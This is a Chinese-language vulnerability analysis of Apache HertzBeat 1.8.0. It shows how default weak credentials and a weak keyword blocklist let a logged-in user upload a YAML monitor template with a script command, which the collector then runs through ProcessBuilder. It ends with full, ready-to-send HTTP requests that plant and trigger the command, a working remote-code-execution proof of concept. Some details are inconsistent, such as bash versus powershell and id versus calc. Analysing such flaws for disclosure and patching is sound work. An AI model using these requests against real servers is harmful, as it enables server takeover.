Apache HertzBeat 模板注入漏洞
一、基本信息
开发语言: java
官网地址: hertzbeat
版本: 1.8.0
二、漏洞分析

1. 前提条件
在 HertzBeat 中,要利用这个漏洞,你需要先登录。
但系统在默认配置下,存在一个内置的超级管理员弱口令:admin / hertzbeat 或者普通账户 tom / hertzbeat。
关键代码: sureness.yml appId: admin
credential: hertzbeat
role: [admin]
2. 漏洞触发链
整个攻击分为两个动作:第一步:(写入恶意模板);第二步:(触发监控探测)。
3. 写入恶意模板
攻击者向服务器发送一个 POST /api/apps/define/yml 请求,包含了一段精心构造的 YAML 模板。
# 恶意模板片段
metrics:
- name: basic
protocol: script # 关键点1:告诉系统用脚本协议采集
script:
scriptTool: powershell # 关键点2:指定用 bash 执行, 如果时windwos你可以使用 cmd 和 powershell 工具。
scriptCommand: "cmd /c calc" # 关键点3:真正的恶意命令当这段请求到达服务器时,它会进入 AppController.java
@PostMapping(path = "/define/yml")
public ResponseEntity<Message<Void>> newAppDefineYml(@Valid @RequestBody AppDefineDto defineDto) {
// 【漏洞点1:黑名单过滤太弱】
for (String riskyToken : RISKY_STR_ARR) {
if (defineDto.getDefine().contains(riskyToken)) {
throw new RuntimeException("can not has malicious remote script");
}
}
appService.newAppDefineYml(defineDto.getDefine());
// ...
}private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!",
"ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext",
"GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine",
"GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext",
"ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"};
遍历 RISKY_STR_ARR 列表内的黑名单字符串数组去拦截危险命令。但是传的命令是普通的 id > /tmp/poc,避开了这个黑名单。
4. 触发
HertzBeat 有一个贴心的功能叫“探测 (Detect)”:在正式保存监控前,先去目标机器上跑一次试试看通不通。
攻击者向 POST /api/monitor/detect 发送请求。
private void detectMonitorDirectly(Monitor monitor, List<Param> params, String collector) {
Job appDefine = appService.getAppDefine(monitor.getApp());
// ... 省略包装任务的代码 ...
// 关键动作把任务交给调度器去执行
List<CollectRep.MetricsData> collectRep = collectJobScheduling.collectSyncJobData(appDefine);
}调度过程 (RPC 通信):collectSyncJobData 会把这个任务打包,通过网络发送给专门负责干活的节点 —— Collector (采集器)。
5. RCE
来到 Collector 节点。Collector 判断协议是 script 则步入 collect 。
@Override
public void collect(CollectRep.MetricsData.Builder builder, long monitorId, String app, Metrics metrics) {
// 从任务里提取脚本配置
ScriptProtocol script = metrics.getScript();
// 准备命令列表
List<String> cmdList = new ArrayList<>();
cmdList.add(script.getScriptTool()); // 添加 "bash"
// ... 添加参数 ...
cmdList.add(script.getScriptCommand()); // 添加我们的恶意命令 "id > /tmp/poc"
// ProcessBuilder 直接执行系统命令
ProcessBuilder processBuilder = new ProcessBuilder(cmdList);
processBuilder.redirectErrorStream(true);
Process process = processBuilder.start(); // 命令在服务器上执行
// ... 读取执行结果返回 ...
}三、本地复现
写入恶意模板。
POST /api/apps/define/yml HTTP/1.1
Host: 192.168.174.138:1157
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInppcCI6IkRFRiJ9.eJw1jN0KwjAMRt8l1wusq2HZXkW8qCaF-tNJ0w1BfHc70Mtzvo_zhmtNMIMwqQhNGC8x4qHXiDwpI_MQ_EDCThg6sPXczkEeKTdKZo1sLZrVDOty04ymZdOyr6HC7Eb2PXkaqAN9Pf9idLsoy11b4fgLnj5fp8kpww.j_lRHvRYvBWRT2CmVw9GPm9sphi37BRohaJuC--N7Ue3wiOo34e1ii53zX8cJKSAyBdRLbyueMVG16d-p_ybCA
Content-Type: application/json
Content-Length: 757
{
"define": "category: custom\napp: cnvd\nname:\n zh-CN: pocps\n en-US: pocps\nhelp:\n zh-CN: poc\n en-US: poc\nhelpLink:\n zh-CN: https://example.com\n en-US: https://example.com\nparams:\n - field: host\n name:\n zh-CN: Host\n en-US: Host\n type: host\n required: true\nmetrics:\n - name: basic\n i18n:\n zh-CN: basic\n en-US: basic\n priority: 0\n fields:\n - field: result\n type: 1\n i18n:\n zh-CN: result\n en-US: result\n aliasFields:\n - result\n protocol: script\n script:\n scriptTool: powershell\n charset: UTF-8\n scriptCommand: \"cmd /c calc\"\n parseType: oneRow\n"
}触发
POST /api/monitor/detect HTTP/1.1
Host: 192.168.174.138:1157
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInppcCI6IkRFRiJ9.eJw1jN0KwjAMRt8l1wusq2HZXkW8qCaF-tNJ0w1BfHc70Mtzvo_zhmtNMIMwqQhNGC8x4qHXiDwpI_MQ_EDCThg6sPXczkEeKTdKZo1sLZrVDOty04ymZdOyr6HC7Eb2PXkaqAN9Pf9idLsoy11b4fgLnj5fp8kpww.j_lRHvRYvBWRT2CmVw9GPm9sphi37BRohaJuC--N7Ue3wiOo34e1ii53zX8cJKSAyBdRLbyueMVG16d-p_ybCA
Content-Type: application/json
{
"monitor": {
"name": "pocscript-detect",
"app": "cnvd",
"scrape": "static",
"instance": "127.0.0.1",
"intervals": 600,
"status": 0
},
"params": [
{
"field": "host",
"paramValue": "127.0.0.1",
"type": 1
}
]
}
评论 (0)